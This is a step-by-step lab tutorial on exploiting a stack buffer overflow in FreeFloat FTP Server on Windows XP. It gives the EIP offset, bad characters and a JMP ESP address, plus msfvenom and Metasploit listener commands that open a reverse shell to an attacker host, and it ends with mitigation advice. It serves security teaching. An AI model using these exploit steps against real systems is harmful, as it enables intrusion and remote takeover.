This lab is intended to demonstrate how to exploit BoF in Windows. The vulnerable application is FreeFloat which can be downloaded from (https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip).
The Freefloat FTP Server has many vulnerable parameters, which can be useful to practice on, and we will choose one of them here to do a full exercise.
The code for each stage of the tutorial can be found in our GitHub account. (https://github.com/vry4n/BoF-FreeFloat-FTP)
Victim: Windows XP SP3 x86
Application: FreeFloat Ftp Server (Version 1.00)
1. Run the application in the Windows machine. By double clicking the .exe file.
2. Make sure it is in running state. You can verify that by running netstat command
- netstat -ano | FINDSTR 21
3. From a remote machine you can run nmap to enumerate the service
- nmap -p 21 -sV -sC -A -T4 192.168.0.5
4. You can also test the application by connecting to it via telnet
- telnet 192.168.0.5 21
- USER anonymous
- PASS anonymous
5. In this case we will use USER parameter to exploit the application.
Step 1 (Discover the buffer size)
We will use the code (BoF-Freefloat-1.py) to discover the size of the buffer
Here we can see that the script stopped at 300 bytes.
If we actually look at the Windows machine, we can see the application crashed.
Step 2 (Overwriting EIP)
1. Restart the application and attach/open with Immunity Debugger
2. Now that we know the maximum Stack size is 300, we can modify our script to send those in just one packet. Lets try to run again, and see the Stack showing the multiple “A”, The stack is filled with the junk value as expected, after the program crashes.
3. Now look at Immunity debugger console and after the crash a similar message should be shown, that , is the EIP register, which has been overwritten and the instruction is not found.
4. If we look at the EIP register it is now 41414141, which means, AAAA. At this point we know that the EIP instruction pointer can be controlled.
Step 3 (Controlling the instruction pointer)
1. In this phase, we will control the instruction pointer by calculating the exact offset of the EIP register. First of all, we need to create a pattern using Metasploit pattern_create.rb script.
- find / -name pattern_create.rb 2> /dev/null
- /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
2. We need to modify the script a little bit to add this new value. The new script is now named BoF-Freefloat-3.py (https://github.com/vry4n/BoF-FreeFloat-FTP/blob/main/BoF-Freefloat-3.py)
3. Run it again and inspect Immunity debugger, EIP value. We have 37684136
Immunity Debugger bottom error
4. Now that we have located the pattern in EIP, we need to find the position within those 300 bytes generated with pattern_create.rb, for that, we will use pattern_offset.rb, in this case the result is 230
- find / -name pattern_offset.rb 2> /dev/null
- /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 37684136 -l 300
5. We need now to edit the script to send 230 bytes as A, followed by 4 bytes as B. For that we will use BoF-Freefloat-4.py (https://github.com/vry4n/BoF-FreeFloat-FTP/blob/main/BoF-Freefloat-4.py)
6. If we run BoF-Freefloat-4.py, we will notice that the EIP register value is now 42424242, which means, BBBB
Step 4 (Identify BadChars)
1. Below we have the list of badchars, keep in mind that \x00 is always a badchar.
2. We need to include that into the script and identify each of the characters not allowed. For that I developed BoF-Freefloat-5.py (https://github.com/vry4n/BoF-FreeFloat-FTP/blob/main/BoF-Freefloat-5.py), run it and check in Immunity Debugger the data
3. Once it’s been run, In the stack section locate the ASCII conversion, where all the As are shown, right click it and select “Follow in Dump”
4. The “follow in dump” will locate the data in the hexadecimal section, so we can easily check for the absence of characters or where characters don’t follow the sequence, those mean bad characters.
In this image below we see 01020304050607080900, it should be 0102030405060708090A, this means that \x0a in our code needs to be removed
5. We need to keep doing the same until all Badchars are removed. In this screenshot we also identified \x0d as a bad character.
6. After removing all the bad characters, we should have all the rest of the characters as sequence. We will use the variables
FUZZ = “A” * 230
EIP = “B” * 4
BADCHARS = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
7. Now that we know the following
- Buffer space: 230 bytes
- EIP: buffer space + 4 bytes
- Tested all bad characters (\x00\x0a\x0d)
We need to identify the executable module, where the EIP will be pointing, that is with the help of JMP ESP
Step 5 (Finding JMP ESP)
EIP holds the address of the next instruction to be executed. That means in order for our shellcode to be executed concurrently with the overflow happening, we need to make sure that the EIP points to the location in memory where our shellcode will be located, it can be any module that executes JMP ESP.
1. Click on the Disassembly window, in the left upper location
- Search for -> All Commands in all modules
2. Search for JMP ESP
3. We are presented with multiple modules and the Disassembly instruction. I’d choose one of those “SEHLL32.dll”, 7CB32F34. Remember, we need an address that does not contain bad characters.
4. We can run mona script to see if the “SHELL32” is ASLR protected (dynamic code execution)
- !mona modules
- Locate the .dll, in this case “SHELL32”, which has ASLR = False
5. We can verify our selection (“SHELL32.dll”, 7CB32F34) with mona. In kali run nasm_shell.rb and get the output in our case FFE4 (opcode of JMP ESP)
- Jmp esp
6. In mona we can search using he opcode returned by nasm_shell.rb, the hex code equivalent of JMP ESP is FFE4
- !mona find -s "\xFF\xE4" -m SHELL32.dll
7. Now that we know the target 7CB32F34, we should verify that we have successfully changed the execution flow to make the EIP execute the JMP ESP instruction within the SHELL32.dll. We will do this by overwriting EIP with the memory address of the JMP ESP instruction and then, once again, writing C’s thereafter. We will use the script BoF Freefloat-6.py to do this.
8. After successful execution of the script, we can check the stack data between the As and Cs we see the execution of SHELL32
9. At this point we control the following
- Buffer space: 230 bytes
- EIP: buffer space + 4 bytes (JMP ESP 0x7CB32F34)
- Identified all bad characters (\x00\x0a\x0d)
- Got successful execution of SHELL32.dll
Step 6 (Generating the exploit in Shellcode)
1. The last thing we need to do is generate our shellcode and add it to the Python script. To do this we need msfvenom
-a = architecture
-b = Specify bad characters
-f = Format
-v = set variable name
- msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.0.20 LPORT=4444 -b '\x00\x0A\x0D' -v shellcode -f c
2. For this final stage we will use the script BoF-Freefloat-7.py, We have added the shellcode, we are sending the data as follows
- Junk = 230
- JMP ESP = 7CB32F34
- NOPs = "\x90" * 32
Our exploit should look like this
3. Before we execute our code, we need to start a Metasploit listener
- sudo msfdb init
- use exploit/multi/handler
- set payload windows/shell_reverse_tcp
- set LHOST 192.168.0.20
4. At this point we are all set with the exploit, and also, have a listener on the attacking machine. Lets run the script and see if we get a reverse shell.
5. Now we can run system commands
- Applications should avoid standard library functions that are not bounds-checked, such as gets, scanf and strcpy.
- Practices should include regular testing to detect and fix buffer overflows. Running Static Code Analysis that is an essential part of the code review
- Using of Safe Libraries that help preventing buffer overflows by replacing the legitimate vulnerable function to implement bounds-checked replacements to standard memory and string functions
- Implementing the Address space layout randomization (ASLR), a technique that randomly arranges the address space positions of principal data areas used by a process.
- Implementing Stack-smashing Protection (SSP), a compiler feature that helps detecting stack buffer overrun by aborting if specific value, also dubbed stack canary, on the stack is modified
- Keep the software updated